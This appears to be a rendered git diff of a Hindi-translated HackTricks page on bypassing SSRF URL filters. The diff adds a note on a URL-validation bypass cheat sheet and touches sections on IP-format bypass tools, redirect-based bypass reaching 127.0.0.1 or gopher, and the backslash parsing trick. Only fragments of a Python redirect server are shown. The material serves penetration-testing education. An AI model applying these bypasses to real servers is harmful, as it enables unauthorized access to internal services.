![](<../../.gitbook/assets/image (776).png>)
|
||||
|
||||
The **Burp extension** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) आईपी फ़ॉर्मेटिंग बायपास को लागू करता है।
|
||||
**Burp extension** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) आईपी फॉर्मेटिंग बायपास को लागू करता है।
|
||||
|
||||
### डोमेन पार्सर
|
||||
```bash
|
||||
|
@ -164,10 +164,14 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
|||
|
||||
The tool [**recollapse**](https://github.com/0xacb/recollapse) एक दिए गए इनपुट से विभिन्नताएँ उत्पन्न कर सकता है ताकि उपयोग किए गए regex को बायपास करने की कोशिश की जा सके। अधिक जानकारी के लिए [**इस पोस्ट**](https://0xacb.com/2022/11/21/recollapse/) को भी देखें।
|
||||
|
||||
### Automatic Custom Wordlists
|
||||
|
||||
[**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) को देखें जहाँ आप अनुमत होस्ट और हमलावर का एक परिचय दे सकते हैं और यह आपके लिए प्रयास करने के लिए URLs की एक सूची उत्पन्न करेगा। यह यह भी विचार करता है कि क्या आप URL को एक पैरामीटर, एक होस्ट हेडर या एक CORS हेडर में उपयोग कर सकते हैं।
|
||||
|
||||
### Bypass via redirect
|
||||
|
||||
यह संभव है कि सर्वर SSRF के **मूल अनुरोध को फ़िल्टर कर रहा हो** **लेकिन** उस अनुरोध के लिए संभावित **रीडायरेक्ट** प्रतिक्रिया को नहीं।\
|
||||
उदाहरण के लिए, एक सर्वर जो SSRF के प्रति संवेदनशील है: `url=https://www.google.com/` संभवतः **url पैरामीटर को फ़िल्टर कर रहा हो**। लेकिन यदि आप [python सर्वर का उपयोग करते हैं जो 302 के साथ प्रतिक्रिया देता है](https://pastebin.com/raw/ywAUhFrv) उस स्थान पर जहाँ आप रीडायरेक्ट करना चाहते हैं, तो आप **फ़िल्टर किए गए IP पते** जैसे 127.0.0.1 या यहां तक कि फ़िल्टर किए गए **प्रोटोकॉल** जैसे gopher तक पहुँच सकते हैं।\
|
||||
उदाहरण के लिए, एक सर्वर जो SSRF के प्रति संवेदनशील है: `url=https://www.google.com/` संभवतः **url पैरामीटर को फ़िल्टर कर रहा हो**। लेकिन यदि आप एक [python सर्वर का उपयोग करते हैं जो 302 के साथ प्रतिक्रिया करता है](https://pastebin.com/raw/ywAUhFrv) उस स्थान पर जहाँ आप रीडायरेक्ट करना चाहते हैं, तो आप **फ़िल्टर किए गए IP पते** जैसे 127.0.0.1 या यहां तक कि फ़िल्टर किए गए **प्रोटोकॉल** जैसे gopher तक पहुँच सकते हैं।\
|
||||
[इस रिपोर्ट को देखें।](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
@ -193,7 +197,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
|||
|
||||
### Blackslash-trick
|
||||
|
||||
The _backslash-trick_ एक अंतर का लाभ उठाता है जो [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) और [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) के बीच है। जबकि RFC3986 URIs के लिए एक सामान्य ढांचा है, WHATWG वेब URLs के लिए विशिष्ट है और आधुनिक ब्राउज़रों द्वारा अपनाया गया है। मुख्य अंतर WHATWG मानक की बैकस्लैश (`\`) को फॉरवर्ड स्लैश (`/`) के समकक्ष मान्यता में है, जो यह प्रभावित करता है कि URLs कैसे पार्स किए जाते हैं, विशेष रूप से एक URL में होस्टनेम से पथ में संक्रमण को चिह्नित करना।
|
||||
The _backslash-trick_ एक अंतर का लाभ उठाता है जो [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) और [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) के बीच है। जबकि RFC3986 URIs के लिए एक सामान्य ढांचा है, WHATWG वेब URLs के लिए विशिष्ट है और इसे आधुनिक ब्राउज़रों द्वारा अपनाया गया है। मुख्य अंतर WHATWG मानक की बैकस्लैश (`\`) को फॉरवर्ड स्लैश (`/`) के समकक्ष मान्यता में है, जो यह प्रभावित करता है कि URLs कैसे पार्स किए जाते हैं, विशेष रूप से एक URL में होस्टनेम से पथ में संक्रमण को चिह्नित करना।
|
||||
|
||||
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
||||
|
||||
|
@ -208,10 +212,9 @@ image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-
|
|||
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
Loading…
Reference in a new issue